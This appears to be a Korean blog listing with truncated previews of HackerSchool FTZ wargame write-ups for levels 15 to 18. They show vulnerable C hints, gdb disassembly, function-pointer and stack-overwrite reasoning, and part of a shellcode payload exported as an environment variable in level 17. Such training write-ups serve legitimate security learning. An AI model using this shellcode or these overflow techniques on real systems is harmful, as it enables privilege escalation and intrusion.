Wargame
-
lvl 18Wargame/HackerSchool FTZ 2019. 2. 13. 09:25
→ 힌트가 길어서 코드로 표현한다. [level18@ftz level18]$ cat hint#include #include #include #include void shellout(void);int main(){ char string[100]; int check; int x = 0; int count = 0; fd_set fds; printf("Enter your command: "); fflush(stdout); while(1) { if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef) shellout(); else { FD_ZERO(&fds); FD_SET(STDIN_FILENO,&fds); if(select(F..
-
lvl 17Wargame/HackerSchool FTZ 2019. 2. 12. 09:14
→ 힌트 정보를 확인한다. → 16번 문제와 유사하지만, shell() 함수가 선언되지 않았다. → 매모리 맵 구조는 16번과 같으므로 바로 아래와 같이 그려진다. → shell() 함수가 존재하지 않으므로, 환경변수에 쉘코드를 넣은 후 실행하는 방식으로 해결한다. → 메모리 맵 구조에 의하면 NOP*40 + 환경변수 주소하면 페이로드 구성은 끝이다. → 먼저 환경변수에 쉘코드를 삽입한 후 주소를 구한다. export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53..
-
lvl 16Wargame/HackerSchool FTZ 2019. 1. 24. 17:44
→ 힌트 정보를 확인한다. → 함수포인터다. → 우리가 원하는 것은 shell 함수를 실행하는 것이지만, 실제 메인 함수에선 shell 함수가 아닌 printit 함수만 실행한다. 하지만 void (*call)=printit; 부분의 call 함수 포인터가 가리키는 함수의 주소를 shell() 함수의 주소로 변경한다면 shell 함수를 실행할 수 있다. → gdb로 디버깅한다. [level16@ftz level16]$ gdb -q attackme(gdb)(gdb)(gdb) set disassembly-flavor intel(gdb) disas mainDump of assembler code for function main:0x08048518 : push ebp0x08048519 : mov ebp,esp0..
-
lvl 15Wargame/HackerSchool FTZ 2019. 1. 23. 09:34
→ 힌트 정보 확인. → 14번 문제와 동일한 것 같지만, 분기문에서 check가 포인터임을 알 수 있다. → 즉, check 변수에 0xdeadbeef를 입력하는게 아니고, check 변수에 저장하는 값이 가리키는 메모리 주소에 0xdeadbeef를 넣어야 한다. → gdb로 디버깅. [level15@ftz tmp]$ gdb -q attackme(gdb) set disassembly-flavor intel(gdb) disas mainDump of assembler code for function main:0x080483b8 : push ebp0x080483b9 : mov ebp,esp0x080483bb : sub esp,0x380x080483be : and esp,0xfffffff00x080483c1 ..